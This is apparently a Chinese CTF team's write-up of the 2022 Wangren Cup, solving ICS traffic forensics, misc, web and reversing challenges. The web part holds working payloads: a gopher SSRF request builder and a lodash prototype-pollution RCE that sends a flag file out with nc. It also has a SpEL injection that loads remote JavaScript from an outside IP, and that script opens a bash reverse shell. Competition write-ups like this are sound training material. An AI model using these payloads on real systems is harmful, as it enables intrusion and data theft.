2022第二届网刃杯WP

2022第二届网刃杯比赛WP

成绩

No.2

ICS

LED_BOOM

png中一段对称加密密文U2FsdGVkX19cOOV8qLVgcso8U4fse+7LirQKiHFkn9HU9BuwFAivH1siJXg/Rk6z

查看一下流量包,还是老样子s7comm

刚开始一直被program的stop给吸引住了,后来按长度排序的时候发现唯一出现只有3次的包,正好长度也只出现3次

按顺序排得到密码585692787

拿去解AES得到flag

flag{tietie_tietie_tiet13}

carefulguy

在查看流的时候发现66 6c 61 67

全部撸下来得到66 6c 61 67 7b 70 34 75 73 33 31 35 76 33 72 79 31 6e 74 33 72 65 73 74 69 63 39 7d

hex后得到flag

flag{p4us315v3ry1nt3restic9}

喜欢移动的黑客

流量包头部损坏,把FF FF FF FF改成 0A 0D 0A 0D即可打开,然后

老考点咯,看modbus的data,其中找到2766

int之后发现是10086>10000,应该就是了,然后当时一直没交上,问了一下管理说需要把加号去掉,因此得到flag

flag{1008668156}

easyiec

flag{e45y_1eci04}

xyp07

注释最下面

Vm0weGQxRXlTWGxVV0d4V1YwZFNVRlpyV25kWlZsSllZMFZrVmxKdVFsaFdNalZMWWtkS1IxTnFSbGhYU0VKNlZsWmFWMVpWTVVWaGVqQTk=

一直解base得到密码Xyp77&7&77

直接过滤s7comm协议,追踪流慢慢看,发现一串很突兀的

iPE=e>we,9:={]RnBjf<7_8Cw1b

第一反应:rot47 base91 base92 xor 变异凯撒

最后base91解码得到welcome_S7_world_xyp07

flag{welcome_S7_world_xyp07}

需要安全感

只能说千万别去下载百度随便找的几百MB的,打开直接提示不支持指定的CPU类型,每次安装都得二三十分钟,md。

然后下载下来就是gxw拓展名,去百度了一下发现是三菱GX Works,然后去官网下载了

可还行,这次安装之后打开就能够成功打开题目文件了。

找了一圈找到flag字样

判断t_flag = true_flag,f_flag = false_flag尝试提交,正确

flag{tr20220413}

cryptolalia

首先鱼不知道有什么用,先解压。

打开用010看图片,发现开头是RIFF 后面跟一个webp,能够猜测该图为webp图片

往后拉发现有PK,因此搜索了一下504b0304

将前面的删掉,改zip解压

叫咱污水处理厂的流程顺序要先去分析污泥脱水数据,再去分析设备药剂数据。

然后发现两个都有密码,再结合hint因此去爆破

解压后打开流量包,在查找流的时候在modbus流中注意到对称加密字符串

U2FsdGVkX19pczQKWsMcjgrJt8f09dSN

本来还是不会做的,突然主办发了个hint说”鱼 is important”

为什么不写fish呢?因此尝试用fish当key,解TripleDes的时候成功解开

得到另一个压缩包的密码为b0Le4n$

里面一个txt和一个zip,txt最后写了年轻人,有时候眼见不一定为实!

压缩包直接打开是这样的

因此去010看一下,发现源文件数据区的加密位为00,而目录区的加密位为09,因此改成00再打开即可恢复

依旧是过滤s7comm,然后在查看流的时候发现了这个

但直接原始数据导出,会混入垃圾数据,因此用tshark导出

tshark -r .\设备药剂间数据采集.pcap -T fields -e s7comm.resp.data -Y s7comm > pic.txt

找到这一坨,将其16进制写入文件

保存为png,解析发现chunk0出错

猜测高度被修改了,因此修改成更高的高度

得到flag

具体flag是什么忘掉了,不是flag{G00D_J0B_3DES_Xiwu2XwsdP}就是flag{GOOD_JOB_3DES_Xiwu2XwsdP}

Misc

玩坏的winxp

dg分析

首先是看桌面

1 2 3 4都没用,虽然1.png后面还有一句一句话木马但是与之无关

然后发现套了很多东西,最后是一个压缩包

解压之后又是一张图片,后面又有一个压缩包,最后得到一个要密码的压缩包

没有下载QQ,但是下载了火狐,因此将火狐的导出。这里火狐的考点通常有:保存的密码、cookies、backup、缓存、下载历史、网站ico、登录、表单数据、导航历史、收藏夹等。

这里戴围脖估计是QQ,但是没有直接指向QQ的,火狐也没保存密码,猜测是历史记录

首先用dg导出,我的是破解的,不知道非破解版能不能全部导出

用DB打开,找了一圈后发现在places中,即考点为firefox的书签 + 导航历史

qq是吧,打开看空间去了

得到解压密码xiaomin520。得到flag

flag{this_is_what_u_want8}

Web

Sign_in

SSRF的漏洞,在读取file:///proc/net/arp发现内网存在另外一台机子

访问获得flag需要满足:GET参数a、POST参数b、X-Forwarded-For为127.0.0.1、Referer为bolean.club

构造脚本如下

b = "b=1"

a = """POST /index.php?a=1 HTTP/1.1
Host: 172.73.25.100
Content-Type: application/x-www-form-urlencoded
Referer: bolean.club
X-Forwarded-For: 127.0.0.1
Content-Length: {}

""" .format(len(b))+ b

print a

Payload = ''
for i in a:
if i == '\n':
Payload += '%250d%250a'
else:
Payload += hex(ord(i)).replace('0x', '%25')
print(Payload)

利用gopher协议请求获取flag

upload

题目中给出了提示为sql注入,测试发现是从filename处进行注入的,这边可以使用报错注入

由于这里是通过.截断后缀名拼接进sql语句的,相当于过滤了.,这里盲猜的flag表名和列名的

最后使用substr函数绕过报错长度限制

ezjs

参考文章:从 Lodash 原型链污染到模板 RCE - 安全客,安全资讯平台 (anquanke.com)

利用如下Payload进行测试

{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('ping${IFS}xxxxx.dnslog.cn')"}}

可通

这里过滤了curl、wget、>、空格等参数,可以利用ls|nc${IFS}ip${IFS}port的方式将内容外带出来

{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('base64${IFS}/.fl\"\"ag|nc${IFS}ip${IFS}8989')"}}

解码即可获得flag

ez_java

文件读取漏洞,限制了../../../才行,读取配置文件download?filename=../../../web.xml

接着读取TestServlet.class文件,download?filename=../../../classes/com/abc/servlet/TestServlet.class,源码如下

package com.abc.servlet;

import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class TestServlet extends HttpServlet {
public TestServlet() {
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String name = request.getParameter("name");
name = new String(name.getBytes("ISO8859-1"), "UTF-8");
if (this.blackMatch(name)) {
request.setAttribute("message", "name is invalid");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}

System.out.println(name);
String message = this.getAdvanceValue(name);
request.setAttribute("message", message);
request.getRequestDispatcher("/message.jsp").forward(request, response);
} catch (Exception var5) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}

}

private boolean blackMatch(String val) {
String[] var2 = this.getBlacklist();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
return true;
}
}

return false;
}

private String getAdvanceValue(String val) {
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(val, parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
return exp.getValue(evaluationContext).toString();
}

private String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
}

这里考的是spel 表达式注入,使用的是TemplateParserContext,则使用#{}闭合,这里利用load()远程加载进行rce

a.js

var a=exp();function exp(){
s=[3];
s[0]="/bin/bash";
s[1]="-c";
s[2]="bash -i >& /dev/tcp/ip/port 0>&1";
var x=new java.lang.ProcessBuilder; x.command(s); x.start();};

Payload

http://124.220.9.19:8024/test388
POST
name=#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("load('http://116.62.63.234:1234/foo.js')")}

re

去年AK了,今年又AK

ez_algorithm

加密逻辑主要在encryption里面。里面很复杂,各种判断+调用。但是我动调起来发现,他是单字节加密。我立马就想到了爆破。我用python调用subprocess库来实现调用他进行爆破。

爆破前,需将0x2c00位置的28个字符全部设定位00

根据strcmp /00截断进行爆破

from subprocess import Popen, PIPE
file_path = "ez_algorithm.exe"

tagre=0x2c00 #strcm比对的字符串硬编码的位置
from Crypto.Util.number import *
import string
#from Crypto.Util.number import *
#print(long_to_bytes(332849))
#flag{332749}
fflag='flag{w3Lc0mE_t0_'#根据爆破来的flag手动添加
print(hex(ord('o')))
d='BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'
s="""0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"""
for k in range(16,28):
print(k)
f = open(file_path, 'rb')
# print(f.read()[tagre])
fw = open('flag.exe', 'wb')
data = f.read()
# print(data)
fw.write(data)
fw.seek(tagre+k)
fw.write(d[k].encode())
# fw.flush()
fw.close()
f.close()
print(fflag)
for i in s:
flag =fflag+i
payload =flag
print(payload)
#print(payload)
p = Popen('flag.exe', stdin=PIPE, stdout=PIPE, stderr=PIPE)
out, err = p.communicate(bytes(payload.encode()))
#print(out)
if b'Gj!You Win!!!' in out:
fflag+=i
f = open('flag.exe', 'rb')
# print(f.read()[tagre])
fw = open(file_path, 'wb')
data = f.read()
# print(data)
fw.write(data)
fw.seek(tagre + k)
fw.write(d[k].encode())
# fw.flush()
fw.close()
f.close()
break
print(fflag)

程序中间好像有点问题,但是懒得修了 :) 我直接根据爆破得到的语义,然后重新拼写动调进行验证最后手动(恢复之前正确的硬编码)添加进去再进行下一段flag的爆破。其中根据下图的提示猜中了了两个 _ ,放在比对字符串出现特殊字符的对应位置,动调发现刚好比对字符串的特殊字符

image-20220424185735350

最后得到flag : flag{w3Lc0mE_t0_3NcrYPti0N:}

定时启动

pyinstall打包的的elf,https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries。

把核心部分搞出来就可以用解包脚本pyinstxtractor。

主程序

发现是导入包,一开始以为要逆pyd,但是再发现导入的包,

直接反编译成py文件如下,发现flag就在里面

加个打印,直接就出来了

# !/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
import time
import os

bat_path = os.getcwd() + '/' + 'Readme.txt'
cmd = 'hacked by Wncry, do not run the progress again!!!\n'


def get_time():
try:
a = 'flag{c4ca4238a0b923820dcc509a6f75849b}'
b = 'flag{c81e728s9d4c2f636f0f7f89cc14862c}'
c = 'flag{eccbc87e4b5ce2fe28308fd9fsa7baf3}'
d = 'flag{a87ff679a2f3e71d9181a67b7542122c}'
flag = a[0:8] + b[9:14] + c[6:20] + d[-1:]
print(flag)
current_time = time.time()
print('[+] current time: ', time.ctime())
if current_time < current_time:
pass
current_time < 1650762550
if 1:
print('[+] yeah, Congratulations on getting the decryption key\n', flag)
else:
print('[-] You should open the program between 2022-04-24 09:09:09 s and 2022-04-24 09:09:10 s ')
for i in range(0, 3):
print("[-] You shouldn't break the rules")
time.sleep(1)

print('[-] unfortunately, ~bye~')
except:
pass


def encryption():
current_path = os.getcwd()


# WARNING: Decompyle incomplete


def get_delbat():
pass


# WARNING: Decompyle incomplete

if __name__ == '__main__':
get_time()
#flag{c4c728s9ccbc87e4b5ce2f}

Re_function

开头misc题,丢给misc做

注释89 50,明显的png,用010保存为png

根据一半,得到解压密码3CF8

有花指令,11,22,33 直接nop掉

发现主程序就是异或

把数值dump出来。偶数异或0x37

f=[0x64, 0x71, 0x54, 0x54, 0x64, 0x78, 0x74, 0x78, 0x64, 0x41,
0x40, 0x48, 0x70, 0x6D, 0x18, 0x4A, 0x41, 0x78, 0x66, 0x72,
0x41, 0x78, 0x5E, 0x4E, 0x5D, 0x52, 0x0E, 0x3D]
for i in range(len(f)):
if(i%2 == 0):
print(chr(f[i]^0x37),end='')
else:
print(chr(f[i]),end='')
#SqcTSxCxSAwHGm/JvxQrvxiNjR9=

还有一个程序,直接发现是base64,但是换表了。在第二个文件中,搜字符串就看到

FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+

直接拿表替换一下解就行 http://web.chacuo.net/netbasex

flag{we1come_t0_wrb}

freestyle

谜语提,是我数学太差了。

化简一下如下,

#3 * a/ 9==1109
#(b % 56)=49

进一步计算,就可以得到

a=3327

b=49

一开始一直不理解题,最小被除。。

一直尝试,最后发现是49+56

最后的flag为

flag{md5(3327105)}

即flag{31a364d51abd0c8304106c16779d83b1}

2022第二届网刃杯WP

https://wp.n03tack.top/posts/2038/

作者

n03tAck

发布于

2022-04-28

更新于

2022-04-28

许可协议


:D 一言句子获取中...